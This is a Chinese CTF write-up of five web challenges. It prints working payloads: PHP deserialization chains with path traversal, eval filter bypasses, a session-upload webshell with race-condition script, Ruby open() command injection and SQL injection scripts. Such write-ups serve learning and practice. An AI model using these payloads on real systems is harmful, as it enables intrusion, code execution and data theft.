第五空间2021 Web(NSS)

第五空间2021 Web(NSS)

1.WebFTP

请添加图片描述

直接访问phpinfo.php可得

2.pklovecloud

知识点

  1. pop链
  2. 序列化和反序列化
  3. 强比较
  4. _toString(在对象被当作字符串时自动触发)

分析

<?php  
include 'flag.php';
class pkshow 
{  
    function echo_name()     
    {          
        return "Pk very safe^.^";      
    }  
} 

class acp 
{   
    protected $cinder;  
    public $neutron;
    public $nova;
    function __construct() 
    {      
        $this->cinder = new pkshow;
    }  
    function __toString()      
    {          
        if (isset($this->cinder))  
            return $this->cinder->echo_name();      
    }  
}  

class ace
{    
    public $filename;     
    public $openstack;
    public $docker; 
    function echo_name()      
    {   
        $this->openstack = unserialize($this->docker);
        $this->openstack->neutron = $heat;
        if($this->openstack->neutron === $this->openstack->nova)
        {
        $file = "./{$this->filename}";
            if (file_get_contents($file))         
            {              
                return file_get_contents($file); 
            }  
            else 
            { 
                return "keystone lost~"; 
            }    
        }
    }  
}  

if (isset($_GET['pks']))  
{
    $logData = unserialize($_GET['pks']);
    echo $logData; 
} 
else 
{ 
    highlight_file(__file__); 
}
?>
  • 首先查看源码,这个pkshow类肯定是没用的
  • 再看这个ace类,发现有return file_get_contents($file);说明pop链中这个ace::echo_name();在结尾
  • 函数中的条件判断要求$this->openstack->neutron === $this->openstack->nova可以想着当两个值都为NULL的时候强比较成立
  • 往上看acp类中的_toString(),当对象被当成字符串时自动触发并出发echo_name()函数,所以pop链自然也就构成了
  • acp类中,__toString()里出现了echo_name(),因此我们想到令acp->cinder=new ace()

ace::_construct() -> acp::__toString() -> acp:: echo_name()

解决

代码如下:

<?php  
class acp 
{   
    protected $cinder;  
    public $neutron;
    public $nova;
    function __construct() 
    {      
        $this->cinder = new ace;
    }
}  

class ace
{    
    public $filename = 'flag.php';     
    public $openstack;
    public $docker; 
}  

$b = new ace();
$b->docker = null;
$a = new acp();

echo urlencode(serialize($a));

?>

故payload:

?pks=O%3A3%3A%22acp%22%3A3%3A%7Bs%3A9%3A%22%00%2A%00cinder%22%3BO%3A3%3A%22ace%22%3A3%3A%7Bs%3A8%3A%22filename%22%3Bs%3A8%3A%22flag.php%22%3Bs%3A9%3A%22openstack%22%3BN%3Bs%3A6%3A%22docker%22%3BN%3B%7Ds%3A7%3A%22neutron%22%3BN%3Bs%3A4%3A%22nova%22%3BN%3B%7D

之后进入网页,源代码里有被注释的代码:

<?php
$heat="asdasdasdasd53asd3a1sd3a1sd3asd";
$flag="flag in /nssctfasdasdflag";

简单改动即可:

<?php  
class acp 
{   
    protected $cinder;  
    public $neutron;
    public $nova;
    function __toString()      
    {          
        if (isset($this->cinder))  
            return $this->cinder->echo_name();      
    }
    function __construct() 
    {      
        $this->cinder = new ace;
    }
}  

class ace
{    
    public $filename = '../nssctfasdasdflag';     //做个目录穿越
    public $openstack;
    public $docker; 
}  

$b = new ace();
$b->docker = null;
$a = new acp();

echo urlencode(serialize($a));

?>

最后得到:

NSSCTF{6d36b684-fff6-4e82-9939-a26ca1febf80}

3.EasyCleanup

<?php
// 如果未设置 GET 参数 'mode',则高亮显示当前文件内容(便于查看代码)
if (!isset($_GET['mode'])) {
    highlight_file(__FILE__);
} else if ($_GET['mode'] == "eval") {
    // 如果设置了 'mode' 为 'eval',则执行 eval() 逻辑
    $shell = isset($_GET['shell']) ? $_GET['shell'] : 'phpinfo();'; 
    // 获取用户传入的 'shell' 参数,默认为 'phpinfo();'

    // 检查 shell 参数是否满足以下条件:
    // - 长度超过 15 个字符
    // - 经过 filter() 函数过滤(返回 true 表示禁止)
    // - 经过 checkNums() 函数检查(返回 true 表示禁止)
    // 如果上述任一条件触发,则退出并显示 "hacker"
    if (strlen($shell) > 15 | filter($shell) | checkNums($shell)) { 
        exit("hacker"); // 退出脚本并提示 "hacker"
    }

    eval($shell); // 执行用户提供的 shell 代码(高危操作,存在安全风险)
}

if (isset($_GET['file'])) {
    // 如果设置了 GET 参数 'file',则包含用户提供的文件
    if (strlen($_GET['file']) > 15 | filter($_GET['file'])) { 
        exit("hacker"); // 如果文件名长度超过 15 或包含禁用字符,退出
    }
    include $_GET['file']; // 包含用户提供的文件(高危操作,存在文件包含漏洞)
}

// 自定义过滤函数,检查字符串中是否包含禁用的字符或关键词
function filter($var) {
    $banned = ["while", "for", "\$_", "include", "env", "require", "?", ":", "^", "+", "-", "%", "*", "`"];

    foreach ($banned as $ban) { // 遍历禁用列表
        if (strstr($var, $ban)) { // 如果字符串中包含禁用字符或关键词
            return true; // 返回 true,表示需要禁止
        }
    }

    return false; // 否则返回 false
}

// 检查字符串中字母和数字的数量是否超过 8 个
function checkNums($var) {
    $alphanum = 'abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ';
    $cnt = 0; // 初始化计数器

    // 遍历所有字母和数字字符
    for ($i = 0; $i < strlen($alphanum); $i++) {
        for ($j = 0; $j < strlen($var); $j++) { // 遍历输入字符串中的每个字符
            if ($var[$j] == $alphanum[$i]) {
                $cnt += 1; // 如果匹配,计数器加 1
                if ($cnt > 8) { // 如果计数器超过 8
                    return true; // 返回 true,表示禁止
                }
            }
        }
    }

    return false; // 否则返回 false
}
?>

这里我们发现源码中有eval,这让人感觉可以用rce,但是源码中的filter和checkNums过滤了较多,难以达到rce,但是可以尝试一下列表:

?mode=eval&shell=system('ls /');

请添加图片描述

注意到nssctfasdasdflag,应该就是flag的文件,但是文件名太长会被过滤,所以尝试:

?mode=eval&shell=system('nl /n*');

结果爆hacker了,那就试着取反:

?mode=eval&shell=system(~%91%93%DF%D0%D5);

请添加图片描述

好像是运气好试出来了(?)

另外,注意到源码中还有file,证明存在文件包含漏洞,看了其他大佬的wp

2021-第五空间智能安全大赛-Web-EasyCleanup-优快云博客

PHP中session.upload_progress的利用 |沉铝汤的破站

文章 - 浅谈 SESSION_UPLOAD_PROGRESS 的利用 - 先知社区

发现可以先查看phpinfo:

?mode=eval 这里shell默认是phpinfo();,所以不用传shell

请添加图片描述

这里的session.use_strict_mode=0

session.upload_process.cleanup为off,不需要进行条件竞争。且没有session.save_path,默认就是/tmp/sess_xxxx.

利用上传文件的代码:

<!DOCTYPE html>
<html>
<head>
	<title>111</title>
	<meta charset="utf-8">
</head>
<body>
	<form action="http://node4.anna.nssctf.cn:28673/" method="POST" enctype="multipart/form-data">
        <!--不对字符编码-->
	    <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="<?php eval($_POST['cmd']); ?>" />
	    <input type="file" name="file" />
	    <input type="submit" value="go" />
	</form>
</body>
</html>

再抓包更改Cookie中 PHPSESSID=7t0 (本地访问phtml,然后随便上传个文件后抓包)

http://http://node4.anna.nssctf.cn:28673/?file=/tmp/sess_7t0

再蚁剑连接

或者的或者,也可以参考条件竞争脚本:

# -*- coding: utf-8 -*-
import io
import requests
import threading

myurl = 'http://node4.anna.nssctf.cn:28673/'
sessid = '7t0'
myfile = io.BytesIO(b'hakaiisu' * 1024)
writedata = {"PHP_SESSION_UPLOAD_PROGRESS": "<?php system('ls -lha /');?>"}
mycookie = {'PHPSESSID': sessid}

def writeshell(session):
    while True:
        resp = requests.post(url=myurl, data=writedata, files={'file': ('hakaiisu.txt', 123)}, cookies=mycookie)

def getshell(session):
    while True:
        payload_url = myurl + '?file=' + '/tmp/sess_' +sessid
        resp = requests.get(url=payload_url)
        if 'upload_progress' in resp.text:
            print(resp.text)
            break
        else:
            pass


if __name__ == '__main__':
    session = requests.session()
    writeshell = threading.Thread(target=writeshell, args=(session,))
    writeshell.daemon = True
    writeshell.start()
    getshell(session)

4.PNG图片转换器

下载附件,是一段Ruby代码:

require 'sinatra'
require 'digest'
require 'base64'

get '/' do
  open("./view/index.html", 'r').read()
end

get '/upload' do
  open("./view/upload.html", 'r').read()
end

post '/upload' do
  unless params[:file] && params[:file][:tempfile] && params[:file][:filename] && params[:file][:filename].split('.')[-1] == 'png'
    return "<script>alert('error');location.href='/upload';</script>"
  end
  begin
    filename = Digest::MD5.hexdigest(Time.now.to_i.to_s + params[:file][:filename]) + '.png'
    open(filename, 'wb') { |f|
      f.write open(params[:file][:tempfile],'r').read()
    }
    "Upload success, file stored at #{filename}"
  rescue
    'something wrong'
  end

end

get '/convert' do
  open("./view/convert.html", 'r').read()
end

post '/convert' do
  begin
    unless params['file']
      return "<script>alert('error');location.href='/convert';</script>"
    end

    file = params['file']
    unless file.index('..') == nil && file.index('/') == nil && file =~ /^(.+)\.png$/
      return "<script>alert('dont hack me');</script>"
    end
    res = open(file, 'r').read()
    headers 'Content-Type' => "text/html; charset=utf-8"
    "var img = document.createElement(\"img\");\nimg.src= \"data:image/png;base64," + Base64.encode64(res).gsub(/\s*/, '') + "\";\n"
  rescue
    'something wrong'
  end
end

源码所提供的Sinatra应用程序中的漏洞存在于/convert路由对file参数的处理中,当参数以竖线(|)开头时,允许通过Ruby的open方法进行命令注入。这使得能够通过创建以结尾的文件名来执行任意命令(.png),同时包含命令注入有效负载。

"var img = document.createElement(\"img\");\nimg.src= \"data:image/png;base64," + Base64.encode64(res).gsub(/\s*/, '') + "\";\n"

而注意看这段话,他是将上传的png格式文件的内容以base64加密后返回

请添加图片描述

请添加图片描述

请添加图片描述

但是

unless file.index('..') == nil && file.index('/') == nil && file =~ /^(.+)\.png$/
      return "<script>alert('dont hack me');</script>"

对…/进行过滤,所以难以直接上传

尝试抓包提交页面

请添加图片描述

发现可以修改file的值,然后我们回到上面所说的Ruby中的open存在漏洞(CVE-2017-17405)

Ruby Net::FTP 模块是一个FTP客户端,在上传和下载文件的过程中,打开本地文件时使用了open函数。而在ruby中,open函数是借用系统命令来打开文件,且没用过滤shell字符,导致在用户控制文件名的情况下,将可以注入任意命令。

先查看一下目录:

file=|`echo ls / | base64 -d`>f097ab2163b569f3bf5dd5aa013131c6.png

ls /转换一下(base64 -d转码,>重定向将命令输出保存到文件,使用``)

file=|`echo bHMgLw== | base64 -d`>f097ab2163b569f3bf5dd5aa013131c6.png

请添加图片描述

解码发现:

app
bin
boot
dev
etc
home
lib
lib64
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var

并没有明显的flag文件,那试试查看环境变量:(这里没过滤不需转换)

file=|bash -c env f097ab2163b569f3bf5dd5aa013131c6.png

bash -c env

  • bash -c 启动一个新的 bash 会话并执行其后的命令。
  • env 是一个命令,用于打印当前环境变量。

请添加图片描述

5.yet_another_mysql_injection

这题目真头疼啊,sql一生之敌

请添加图片描述

查看源码,提示访问/?source

<?php
include_once("lib.php");
function alertMes($mes,$url){
    die("<script>alert('{$mes}');location.href='{$url}';</script>");
}

function checkSql($s) {
    if(preg_match("/regexp|between|in|flag|=|>|<|and|\||right|left|reverse|update|extractvalue|floor|substr|&|;|\\\$|0x|sleep|\ /i",$s)){
        alertMes('hacker', 'index.php');
    }
}

if (isset($_POST['username']) && $_POST['username'] != '' && isset($_POST['password']) && $_POST['password'] != '') {
    $username=$_POST['username'];
    $password=$_POST['password'];
    if ($username !== 'admin') {
        alertMes('only admin can login', 'index.php');
    }
    checkSql($password);
    $sql="SELECT password FROM users WHERE username='admin' and password='$password';";
    $user_result=mysqli_query($con,$sql);
    $row = mysqli_fetch_array($user_result);
    if (!$row) {
        alertMes("something wrong",'index.php');
    }
    if ($row['password'] === $password) {
        die($FLAG);
    } else {
    alertMes("wrong password",'index.php');
  }
}

if(isset($_GET['source'])){
  show_source(__FILE__);
  die;
}
?>

从下面两段代码可以看出

if ($username !== 'admin') 
{
    alertMes('only admin can login', 'index.php');
}
if ($row['password'] === $password) 
{
    die($FLAG);
 }

账号必须要求为admin,而只有密码是可控的且密码要完全正确才会输出flag

用了个脚本跑一下密码,发现其实是个空表?(我这边跑不出东西)

import requests

url = 'http://node4.anna.nssctf.cn:28785/index.php'
zzz = '1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'
flag = ''
while True:
    for j in zzz:
        data = {
            "username": "admin",
            "password": f"-1'/**/or/**/passwd/**/like/**/'{flag + j}%'#"
        }
        res = requests.post(url, data=data)
        if "something wrong" not in res.text:
            flag = flag + j
            print(flag)
            break

那我们这里只能引入SQL注入里的Quine注入(输入的语句与输出一致)

SQL注入之Quine注入-优快云博客

CTFHUB 2021-第五空间 yet_another_mysql_injection_ctf php与mysql-优快云博客

(这两篇文章对于quine注入有详细解释)

Quine基本形式:

语法:REPLACE ( string_expression , string_pattern , string_replacement )

replace(replace(‘str’,char(34),char(39)),char(46),‘str’)

先将str里的双引号替换成单引号,再用str替换str里的.

str基本形式(可以理解成上面的".")

replace(replace(“.”,char(34),char(39)),char(46),“.”)

完整的Quine就是Quine基本形式+str基本形式

payload:

1'/**/union/**/select/**/replace(replace('1"/**/union/**/select/**/replace(replace(".",char(34),char(39)),char(46),".")#',char(34),char(39)),char(46),'1"/**/union/**/select/**/replace(replace(".",char(34),char(39)),char(46),".")#')#
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值